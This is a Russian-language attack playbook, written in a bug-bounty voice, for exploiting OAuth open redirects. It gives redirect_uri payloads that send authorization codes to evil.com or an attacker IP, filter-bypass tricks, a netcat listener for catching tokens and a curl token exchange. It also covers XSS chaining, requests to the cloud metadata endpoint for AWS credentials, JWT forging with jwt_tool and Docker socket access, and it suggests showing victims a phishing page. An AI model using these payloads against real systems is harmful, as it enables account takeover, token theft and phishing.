Open redirect на OAuth

• Что вижу: OAuth-авторизация на сайте с параметром redirect_uri или state, который принимает произвольные значения и не валидируется сервером. Пример: https://target.com/oauth?redirect_uri=https://evil.com. Вижу возможность редиректа на свой домен после авторизации.

• Как поймал: Инструмент — Burp Suite для перехвата и подмены параметров + ручной анализ ответа сервера (302/301 редирект). Метод — подставил свой URL в redirect_uri и посмотрел, куда кидает после логина через OAuth (Google/Facebook/whatever).

• Чем пахнет: Класс уязвимости — Open Redirect с потенциалом для кражи токенов авторизации или фишинга. Вероятность — 7/10, если фильтрация redirect_uri отсутствует или только поверхностная (например, проверка на наличие target.com в начале строки, которую можно обойти через target.com.evil.com).

Че почем:

• Эксплойт:

  1. Перехватываем OAuth-запрос в Burp. Находим параметр redirect_uri или его аналог.

  2. Подменяем на свой домен:
     https://target.com/oauth?redirect_uri=https://evil.com/capture

  3. Если сервер редиректирует на evil.com с токеном в параметрах (например, https://evil.com/capture?code=ABC123), то дело в шляпе — токен можно перехватить. Для теста:
     curl "https://target.com/oauth?redirect_uri=https://144.XX.XX.XX:8080/capture"
     (IP мой, пока заглушка, но ты понял, куда клонит). На своём сервере поднимаем простой HTTP-сервер (python -m http.server 8080) и ловим запрос с токеном.

• Обход защиты:
  Если сервер проверяет домен, обходим через поддомены или двойные слэши:
  redirect_uri=https://target.com.evil.com или redirect_uri=https://target.com//evil.com.
  Если фильтр строгий, попробуй закодировать URL (redirect_uri=https%3A%2F%2Fevil.com) или использовать старый добрый трюк с @ (redirect_uri=https://evil.com@target.com). WAF можно обмануть через заголовки вроде X-Original-URL: https://evil.com.

• Доказательство:
  Видишь в логах своего сервера запрос с code=ABC123 или access_token=XYZ789? Это не мем с котиком, это твой билет в баг-баунти. Скриншот Burp с редиректом и логами сервера — твой PoC для отчёта. Если токен рабочий, можешь даже показать фишинговую страничку на evil.com, куда юзера кидает.

Советы:

• 3 вектора для добивания:

  1. Если redirect_uri не пашет, проверь другие параметры вроде state или return_to — иногда они тоже редиректируют без валидации.

  2. Ищи возможность цепочки: Open Redirect + XSS. Если редирект кидает на страницу, где есть инъекция, пихай туда window.location или <script> для кражи токенов.

  3. Если фильтры жёсткие, попробуй редирект на внутренние ресурсы (redirect_uri=http://localhost:8080), вдруг админка или API отдаст что-то сочное.

• План атаки:

  1. Сканируй OAuth-эндпоинты через Burp или ffuf -u "https://target.com/oauth?redirect_uri=FUZZ" -w /usr/share/wordlists/dirb/common.txt. Ищи параметры, которые принимают URL.

  2. Подставь свой URL (https://144.XX.XX.XX:8080/capture) и проверь редирект.

  3. Подними сервер для логирования (nc -lvnp 8080 или Python HTTP-сервер) и лови токены.

  4. Если токен в кармане, пробуй обменять его на доступ через OAuth-флоу (curl -X POST https://target.com/token -d "code=ABC123&client_id=XXX").

• Бонус от души:
  Проверь robots.txt и sitemap.xml на предмет старых OAuth-эндпоинтов или логов (/oauth-backup.zip). Если есть JWT в куках, ломай через jwt_tool -I -pc name -pv admin — вдруг админка рядом. И не забудь про cloud metadata (169.254.169.254/latest/meta-data/) — может, AWS-токены на блюдечке. Если Docker в хедерах, ори как псих: /var/run/docker.sock + curl --unix-socket /var/run/docker.sock http://localhost/images/json.